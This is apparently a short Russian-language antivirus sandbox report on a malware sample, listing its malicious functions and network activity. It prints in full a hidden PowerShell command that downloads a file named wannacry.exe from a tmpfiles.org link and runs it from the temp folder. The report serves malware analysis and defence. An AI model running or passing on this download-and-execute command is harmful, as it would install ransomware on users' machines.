Техническая информация
Вредоносные функции
Загружает и запускает на исполнение
- https://tmpfiles.org/dl/3025347/wannacry.exe как %temp%\exploit.exe
Сетевая активность
Подключается к
- 'tm###les.org':443
TCP
Другие
- 'tm###les.org':443
UDP
- DNS ASK tm###les.org
Другое
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /c PowerShell.exe -windowstyle hidden (New-Object System.Net.WebClient).DownloadFile('https://tmpfiles.org/dl/3025347/wannacry.exe','%temp%\exploit.exe');Start-Process '%temp%\exploit.exe'
